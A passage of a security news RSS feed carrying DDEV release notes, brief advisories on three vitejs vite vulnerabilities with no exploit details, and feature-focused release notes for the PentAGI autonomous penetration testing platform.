<li>docs(commands): organize utility commands in alphabetical order, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3477852641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7685" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7685/hovercard" href="https://github.com/ddev/ddev/pull/7685">#7685</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3583571582" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7789" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7789/hovercard" href="https://github.com/ddev/ddev/pull/7789">#7789</a></li>
<li>feat: add user flag for ssh/exec/hooks and x-ddev.ssh-shell for ssh, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3097474435" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7339" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7339/hovercard" href="https://github.com/ddev/ddev/issues/7339">#7339</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3581970487" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7786" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7786/hovercard" href="https://github.com/ddev/ddev/pull/7786">#7786</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ara303/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ara303">@ara303</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3432583948" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7639" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7639/hovercard" href="https://github.com/ddev/ddev/pull/7639">#7639</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphaelportmann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphaelportmann">@raphaelportmann</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3469596003" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7677" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7677/hovercard" href="https://github.com/ddev/ddev/pull/7677">#7677</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JshGrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JshGrn">@JshGrn</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3536973192" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7733" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7733/hovercard" href="https://github.com/ddev/ddev/pull/7733">#7733</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.24.8...v1.24.9"><tt>v1.24.8...v1.24.9</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.24.10]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the ddev_windows_amd64_installer.v1.24.10.exe;...]]></description>
<link>https://tsecurity.de/de/3497298/downloads/v12410/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497298/downloads/v12410/</guid>
<pubDate>Thu, 07 May 2026 22:17:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://github.com/ddev/ddev/releases/download/v1.24.10/ddev_windows_amd64_installer.v1.24.10.exe">ddev_windows_amd64_installer.v1.24.10.exe</a>; you can run it for install or upgrade.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2><g-emoji class="g-emoji" alias="warning">⚠️</g-emoji> Docker Compose requires newer Docker Buildx on Linux</h2>
<blockquote>
<p><strong>Error:</strong> <code>compose build requires buildx 0.17 or later</code></p>
</blockquote>
<p>This is caused by <a href="https://github.com/docker/compose/pull/13295" data-hovercard-type="pull_request" data-hovercard-url="/docker/compose/pull/13295/hovercard">upstream change</a>.</p>
<p><strong>Solution:</strong> Upgrade Docker using <a href="https://docs.docker.com/engine/install/" rel="nofollow">https://docs.docker.com/engine/install/</a></p>
<h2>Note</h2>
<p>This is a bugfix release. A regression in v1.24.9 prevented DDEV from updating the <code>/etc/hosts</code> file in CI environments (e.g., GitHub Actions) when using custom project TLDs:</p>
<ul>
<li>v1.24.10 reverts the change "Non-interactive mode now forced in non-tty environments"</li>
</ul>
<h2>Highlights</h2>
<ul>
<li>Support for PHP 8.5.0 RC 3 (note: some extensions are not yet available: apcu, imagick, memcached, redis, uploadprogress, xdebug, xhprof, xmlrpc, yaml)</li>
<li>Support for PostgreSQL 18</li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/managing-projects/#access-another-project-via-https" rel="nofollow">Automatic HTTP/S communication between DDEV projects</a> - no need to manually configure <code>external_links</code></li>
<li><a href="https://docs.ddev.com/en/stable/users/configuration/config/#omit_project_name_by_default" rel="nofollow">Option to omit project names</a> in <code>.ddev/config.yaml</code> by default with <code>ddev config global --omit-project-name-by-default=true</code> - useful when working with multiple Git worktrees</li>
<li>Auto-discovery of <code>PLATFORM_PROJECT</code> and <code>PLATFORM_ENVIRONMENT</code> from existing config for <a href="https://docs.ddev.com/en/stable/users/providers/upsun/#upsun-per-project-configuration" rel="nofollow">Upsun Flex</a> and <a href="https://docs.ddev.com/en/stable/users/providers/platform/#upsun-fixedplatformsh-per-project-configuration" rel="nofollow">Upsun Fixed (Platform.sh)</a> provider integrations</li>
</ul>
<h2>Features</h2>
<ul>
<li>New <a href="https://docs.ddev.com/en/stable/users/usage/commands/#utility-diagnose" rel="nofollow"><code>ddev utility diagnose</code></a> command for quick diagnostics on your DDEV installation and current project</li>
<li>New <a href="https://docs.ddev.com/en/stable/users/usage/commands/#add-on-search" rel="nofollow"><code>ddev add-on search</code></a> command, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>New <a href="https://docs.ddev.com/en/stable/users/usage/commands/#xdebug" rel="nofollow"><code>ddev xdebug info</code></a> command to display <code>xdebug_info()</code> output</li>
<li>Customize <a href="https://docs.ddev.com/en/stable/users/usage/commands/#describe" rel="nofollow"><code>ddev describe</code></a> output using the <a href="https://docs.ddev.com/en/stable/users/extend/custom-docker-services/#customizing-ddev-describe-output" rel="nofollow"><code>x-ddev.describe-*</code> extensions</a> - useful for <a href="https://addons.ddev.com/" rel="nofollow">add-ons</a></li>
<li>Change <a href="https://docs.ddev.com/en/stable/users/usage/commands/#ssh" rel="nofollow"><code>ddev ssh</code></a> shell using the <a href="https://docs.ddev.com/en/stable/users/extend/in-container-configuration/#changing-ddev-ssh-shell" rel="nofollow"><code>x-ddev.ssh-shell</code> extension</a> - useful for <a href="https://addons.ddev.com/" rel="nofollow">add-ons</a></li>
<li>New <code>--user</code>/<code>-u</code> flag for <a href="https://docs.ddev.com/en/stable/users/usage/commands/#exec" rel="nofollow"><code>ddev exec</code></a> and <a href="https://docs.ddev.com/en/stable/users/usage/commands/#ssh" rel="nofollow"><code>ddev ssh</code></a></li>
<li><code>exec</code> hooks now <a href="https://docs.ddev.com/en/stable/users/configuration/hooks/#exec-execute-a-shell-command-in-a-container-defaults-to-web-container" rel="nofollow">support the <code>user</code> field</a></li>
<li>New <code>pre-share</code> and <code>post-share</code> <a href="https://docs.ddev.com/en/stable/users/configuration/hooks/" rel="nofollow">hooks</a>. This can help change the required URL for <code>ddev share</code> in CMSs like WordPress and Magento2.</li>
<li>PostgreSQL connection support in <a href="https://docs.ddev.com/en/stable/users/usage/commands/#heidisql" rel="nofollow"><code>ddev heidisql</code></a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphaelportmann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphaelportmann">@raphaelportmann</a></li>
<li>Show failed container logs on project start by running <code>DDEV_DEBUG=true ddev start</code></li>
<li>Enhanced <a href="https://docs.ddev.com/en/stable/users/configuration/config/#composer_root" rel="nofollow"><code>composer_root</code></a> support for app <a href="https://docs.ddev.com/en/stable/users/configuration/config/#type" rel="nofollow"><code>type</code></a> detection in CakePHP, Craft CMS, Laravel, Magento 2, Shopware 6, and Symfony, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vanWittlaer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vanWittlaer">@vanWittlaer</a> for initial PR for Shopware 6</li>
<li>Silence warnings about custom configuration files in the <code>.ddev</code> directory by adding <code>#ddev-silent-no-warn</code> to the file. <a href="https://docs.ddev.com/en/stable/users/usage/faq/#what-if-i-dont-like-the-settings-files-or-gitignores-ddev-creates" rel="nofollow">Documentation</a></li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>PostgreSQL now runs as container user (mirrored from host user) instead of <code>postgres:postgres</code></li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/commands/#describe" rel="nofollow"><code>ddev describe</code></a> now works with stopped or broken containers</li>
<li>Improved support for <code>DDEV_*</code> environment variables in PHP-based add-ons</li>
<li><code>APP_DEFAULT_LOCALE</code> is no longer overridden in CakePHP, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tyler36/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tyler36">@tyler36</a></li>
<li>Removed hardcoded <code>--server-id=0</code> parameter from MySQL/MariaDB startup, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyppe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyppe">@cyppe</a></li>
<li>Fixed <code>docker-compose</code> warnings on <code>ddev start</code> when project root <code>.env</code> file contains dollar signs</li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/commands/#add-on-get" rel="nofollow"><code>ddev add-on get</code></a> now retries without authentication on invalid GitHub token</li>
<li>Debug and verbose output now suppressed when using <code>--json-output</code>/<code>-j</code> flag</li>
<li>Improved container username sanitization with better fallback handling</li>
<li>Fixed <code>blackfire-php</code> installation for older PHP versions</li>
<li>Fixed bug with broken label in Mutagen volume when path to Docker socket is too long</li>
<li>Fixed intermittent hang in <code>ddev auth ssh</code> when SSH key is password-protected</li>
<li>Fixed hang in <code>ddev start</code> on macOS when temp directory permissions are broken after macOS upgrade (fixed in <code>docker-compose</code>)</li>
</ul>
<h2>Internal Improvements</h2>
<ul>
<li>PHP 8.1 no longer preinstalled in <a href="https://hub.docker.com/r/ddev/ddev-webserver" rel="nofollow">ddev/ddev-webserver</a> to reduce image size</li>
<li>Native ARM builder now used for building DDEV Docker images, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/commands/#utility" rel="nofollow"><code>ddev utility</code></a> is now the primary command (<code>ddev debug</code> moved to alias)</li>
<li>Healthcheck added to <a href="https://hub.docker.com/r/ddev/ddev-xhgui" rel="nofollow">ddev/ddev-xhgui</a> image</li>
<li>Linux tests now run separately instead of in matrix, allowing single test restarts on failure</li>
<li>Improved support for <code>CI=true</code> in GitHub Actions</li>
<li>Vite setup documentation migrated into <a href="https://docs.ddev.com/en/stable/users/usage/vite/" rel="nofollow">DDEV docs</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mandrasch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mandrasch">@mandrasch</a> for continuous support on the <a href="https://ddev.com/blog/working-with-vite-in-ddev/" rel="nofollow">blog article</a></li>
<li>Improved <a href="https://docs.ddev.com/en/stable/users/quickstart/" rel="nofollow">quickstarts</a> code block formatting to resolve copy/paste issues in some terminals</li>
<li>Added <code>docker-buildx</code> dependency for <a href="https://aur.archlinux.org/packages/ddev-bin" rel="nofollow">AUR</a> installation</li>
<li>Internet detection now uses <code>one.one.one.one</code> instead of <code>test.ddev.site</code></li>
<li>Replaced <code>GITHUB_OWNER</code> with <code>DDEV_GITHUB_OWNER</code> in <a href="https://ddev.com/install.sh" rel="nofollow">https://ddev.com/install.sh</a></li>
<li>Switched to lightweight <a href="https://mcr.microsoft.com/en-us/artifact/mar/devcontainers/base/about" rel="nofollow">debian-12</a> image for GitHub Codespaces</li>
<li>Removed Gitpod configuration (service is <a href="https://ona.com/stories/gitpod-classic-payg-sunset" rel="nofollow">no longer available</a>)</li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.3.27, 8.4.14, and 8.5.0 RC 3</li>
<li>Docker Compose v2.40.3</li>
<li>Updated <a href="https://docs.ddev.com/en/stable/users/quickstart/#moodle" rel="nofollow">quickstart</a> for <a href="https://moodledev.io/general/releases/5.1" rel="nofollow">Moodle 5.1</a></li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix: make install_ddev_head.sh install all binaries [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586714417" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7794" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7794/hovercard" href="https://github.com/ddev/ddev/pull/7794">#7794</a></li>
<li>fix: write download result to stderr for docker-compose and mutagen [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586644903" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7792" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7792/hovercard" href="https://github.com/ddev/ddev/pull/7792">#7792</a></li>
<li>fix: don't assume non-interactive mode for CI=true or non-tty, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586059715" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7790" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7790/hovercard" href="https://github.com/ddev/ddev/issues/7790">#7790</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586592309" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7791" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7791/hovercard" href="https://github.com/ddev/ddev/pull/7791">#7791</a></li>
<li>build(docker): bump images to v1.24.10 for release by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586657732" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7793" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7793/hovercard" href="https://github.com/ddev/ddev/pull/7793">#7793</a></li>
<li>build: add mkcert to artifacts, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586714417" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7794" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7794/hovercard" href="https://github.com/ddev/ddev/pull/7794">#7794</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3587421369" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7796" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7796/hovercard" href="https://github.com/ddev/ddev/pull/7796">#7796</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.24.9...v1.24.10"><tt>v1.24.9...v1.24.10</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-39365 | vitejs vite up to 6.4.1/7.3.1/8.0.4 path traversal (GHSA-4w7w-66w2-5vf9)]]></title>
<description><![CDATA[A vulnerability was found in vitejs vite up to 6.4.1/7.3.1/8.0.4. It has been classified as critical. Affected by this vulnerability is an unknown functionality. This manipulation causes path traversal.

This vulnerability is tracked as CVE-2026-39365. The attack is possible to be carried out rem...]]></description>
<link>https://tsecurity.de/de/3492683/sicherheitsluecken/cve-2026-39365-vitejs-vite-up-to-641731804-path-traversal-ghsa-4w7w-66w2-5vf9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3492683/sicherheitsluecken/cve-2026-39365-vitejs-vite-up-to-641731804-path-traversal-ghsa-4w7w-66w2-5vf9/</guid>
<pubDate>Wed, 06 May 2026 14:41:50 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/vitejs:vite">vitejs vite up to 6.4.1/7.3.1/8.0.4</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this vulnerability is an unknown functionality. This manipulation causes path traversal.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-39365">CVE-2026-39365</a>. The attack is possible to be carried out remotely. No exploit exists.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-39363 | vitejs vite up to 6.4.1/7.3.1/8.0.4 HTTP Request information disclosure (GHSA-p9ff-h696-f583)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in vitejs vite up to 6.4.1/7.3.1/8.0.4. This vulnerability affects unknown code of the component HTTP Request Handler. Executing a manipulation can lead to information disclosure.

This vulnerability is registered as CVE-2026-39363. I...]]></description>
<link>https://tsecurity.de/de/3492682/sicherheitsluecken/cve-2026-39363-vitejs-vite-up-to-641731804-http-request-information-disclosure-ghsa-p9ff-h696-f583/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3492682/sicherheitsluecken/cve-2026-39363-vitejs-vite-up-to-641731804-http-request-information-disclosure-ghsa-p9ff-h696-f583/</guid>
<pubDate>Wed, 06 May 2026 14:41:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/vitejs:vite">vitejs vite up to 6.4.1/7.3.1/8.0.4</a>. This vulnerability affects unknown code of the component <em>HTTP Request Handler</em>. Executing a manipulation can lead to information disclosure.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-39363">CVE-2026-39363</a>. It is possible to launch the attack remotely. No exploit is available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-39364 | vitejs vite up to 7.3.1/8.0.4 Query Parameter validate before canonicalize (GHSA-v2wj-q39q-566r)]]></title>
<description><![CDATA[A vulnerability was found in vitejs vite up to 7.3.1/8.0.4. It has been classified as problematic. This vulnerability affects unknown code of the component Query Parameter Handler. Performing a manipulation results in incorrect behavior order: validate before canonicalize.

This vulnerability is ...]]></description>
<link>https://tsecurity.de/de/3492681/sicherheitsluecken/cve-2026-39364-vitejs-vite-up-to-731804-query-parameter-validate-before-canonicalize-ghsa-v2wj-q39q-566r/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3492681/sicherheitsluecken/cve-2026-39364-vitejs-vite-up-to-731804-query-parameter-validate-before-canonicalize-ghsa-v2wj-q39q-566r/</guid>
<pubDate>Wed, 06 May 2026 14:41:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/vitejs:vite">vitejs vite up to 7.3.1/8.0.4</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This vulnerability affects unknown code of the component <em>Query Parameter Handler</em>. Performing a manipulation results in incorrect behavior order: validate before canonicalize.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-39364">CVE-2026-39364</a>. The attack can be initiated remotely. There is not any exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[PentAGI v0.2.0 - New frontend]]></title>
<description><![CDATA[🚀 New Features
Frontend Architecture

✨ Implemented modern React 18 architecture with TypeScript for enhanced type safety
🎨 Added shadcn/ui components with Radix UI primitives for consistent design
🌓 Introduced dark/light theme support with Tailwind CSS
📱 Added responsive design support for mobil...]]></description>
<link>https://tsecurity.de/de/3487949/it-security-tools/pentagi-v020-new-frontend/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487949/it-security-tools/pentagi-v020-new-frontend/</guid>
<pubDate>Tue, 05 May 2026 02:32:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>🚀 New Features</h2>
<h3>Frontend Architecture</h3>
<ul>
<li>✨ Implemented modern React 18 architecture with TypeScript for enhanced type safety</li>
<li>🎨 Added shadcn/ui components with Radix UI primitives for consistent design</li>
<li>🌓 Introduced dark/light theme support with Tailwind CSS</li>
<li>📱 Added responsive design support for mobile, tablet, and desktop layouts</li>
<li>⚡ Optimized build process with Vite and module chunking</li>
</ul>
<h3>Core Features</h3>
<ul>
<li>💬 Real-time chat interface with AI agents using WebSocket subscriptions</li>
<li>🤖 Multi-agent system with specialized roles (Researcher, Developer, Executor)</li>
<li>📊 Terminal integration with real-time output monitoring</li>
<li>🎯 Task tracking system with subtasks and progress monitoring</li>
<li>🔍 Integrated search capabilities with vector store</li>
<li>📸 Screenshot capture and management system</li>
</ul>
<h3>Security &amp; Authentication</h3>
<ul>
<li>🔐 Multi-provider authentication support</li>
<li>🔑 OAuth integration with GitHub and Google</li>
<li>🛡️ SSL/TLS support for secure communications</li>
<li>🔒 Environment-based configuration management</li>
</ul>
<h2>🐛 Bug Fixes</h2>
<ul>
<li>Fixed WebSocket connection handling for GraphQL subscriptions</li>
<li>Improved error handling in terminal output</li>
<li>Resolved theme switching persistence issues</li>
<li>Fixed mobile layout responsiveness</li>
</ul>
<h2>🔄 Changes</h2>
<ul>
<li>Migrated from CRA to Vite for better build performance</li>
<li>Updated all dependencies to latest stable versions</li>
<li>Improved code organization with feature-based structure</li>
<li>Enhanced type definitions for better TypeScript support</li>
</ul>
<h2>📚 Documentation</h2>
<ul>
<li>Added comprehensive frontend documentation</li>
<li>Included development setup instructions</li>
<li>Added component architecture documentation</li>
<li>Updated environment configuration guide</li>
</ul>
<h2>🛠️ Technical Details</h2>
<ul>
<li>React 18.3.1</li>
<li>TypeScript 5.6.2</li>
<li>Vite 5.4.7</li>
<li>GraphQL 16.9.0</li>
<li>Tailwind CSS 3.4.13</li>
</ul>
<h2>🔜 Coming Soon</h2>
<ul>
<li>Enhanced performance monitoring</li>
<li>Improved error reporting</li>
<li>Extended test coverage</li>
<li>Additional UI components</li>
</ul>
<h2>🙏 Acknowledgments</h2>
<ul>
<li>Thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sirozha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sirozha">@sirozha</a> for new frontend version</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Feature/frontend by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sirozha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sirozha">@sirozha</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2775548718" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/1" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/1/hovercard" href="https://github.com/vxcontrol/pentagi/pull/1">#1</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sirozha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sirozha">@sirozha</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2775548718" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/1" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/1/hovercard" href="https://github.com/vxcontrol/pentagi/pull/1">#1</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/vxcontrol/pentagi/compare/v0.1.0...v0.2.0"><tt>v0.1.0...v0.2.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PentAGI v1.0.0 - Production Release]]></title>
<description><![CDATA[🎉 PentAGI 1.0 - Production Ready! The first stable release of our autonomous penetration testing platform, bringing enterprise-grade features, enhanced AI capabilities, and a completely redesigned user experience.

⠀


🎯 Major Features
🧠 Graphiti Knowledge Graph Integration - Revolutionary memory...]]></description>
<link>https://tsecurity.de/de/3487947/it-security-tools/pentagi-v100-production-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487947/it-security-tools/pentagi-v100-production-release/</guid>
<pubDate>Tue, 05 May 2026 02:32:37 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<hr>
<div align="center">
<blockquote>
<p>🎉 <strong>PentAGI 1.0 - Production Ready!</strong> The first stable release of our autonomous penetration testing platform, bringing enterprise-grade features, enhanced AI capabilities, and a completely redesigned user experience.</p>
</blockquote>
<p><a href="https://discord.gg/2xrMh7qX6m" rel="nofollow"><img src="https://camo.githubusercontent.com/a21b1aed16f00dca6c20dfd5f774cad885564c0ca567b5287064678f9dd4a9ad/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f446973636f72642d3732383944413f6c6f676f3d646973636f7264266c6f676f436f6c6f723d7768697465" alt="Discord" data-canonical-src="https://img.shields.io/badge/Discord-7289DA?logo=discord&amp;logoColor=white"></a>⠀<a href="https://t.me/+Ka9i6CNwe71hMWQy" rel="nofollow"><img src="https://camo.githubusercontent.com/6330f08e9a6011f0cce3ae560b8c13095d4add60454cb914dfdbf33c3bbabdf2/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f54656c656772616d2d3243413545303f6c6f676f3d74656c656772616d266c6f676f436f6c6f723d7768697465" alt="Telegram" data-canonical-src="https://img.shields.io/badge/Telegram-2CA5E0?logo=telegram&amp;logoColor=white"></a></p>
</div>
<hr>
<h3>🎯 Major Features</h3>
<p><strong>🧠 Graphiti Knowledge Graph Integration</strong> - Revolutionary memory system using <a href="https://github.com/getzep/graphiti">Graphiti</a>, a temporal knowledge graph that maintains context across penetration testing sessions. Configure deployment modes (embedded, external, or disabled) and leverage graph-based reasoning for more intelligent agent decisions.</p>
<p><strong>⚙️ Interactive Installer</strong> - Professional setup wizard with comprehensive system checks, Docker volume detection, and step-by-step configuration for all services including LLM providers, search engines, and observability stack. Available for Linux, macOS, and Windows.</p>
<p><strong>🎨 Modern Frontend Redesign</strong> - Complete UI/UX overhaul with React 19, Tailwind CSS v4, and enhanced architecture:</p>
<ul>
<li>Advanced flow management with filters by agents, tasks, tools, and vector stores</li>
<li>Improved settings interface with tabular data views and form validation</li>
<li>Real-time toast notifications and responsive design</li>
<li>Enhanced favorites system and sidebar navigation</li>
</ul>
<p><strong>🔧 Provider Management System</strong> - Unified configuration for LLM providers with support for:</p>
<ul>
<li>AWS Bedrock (with temporary credentials and session tokens)</li>
<li>Google Gemini (2.5 Flash and Pro models)</li>
<li>Ollama (local deployment)</li>
<li>Custom OpenAI-compatible endpoints</li>
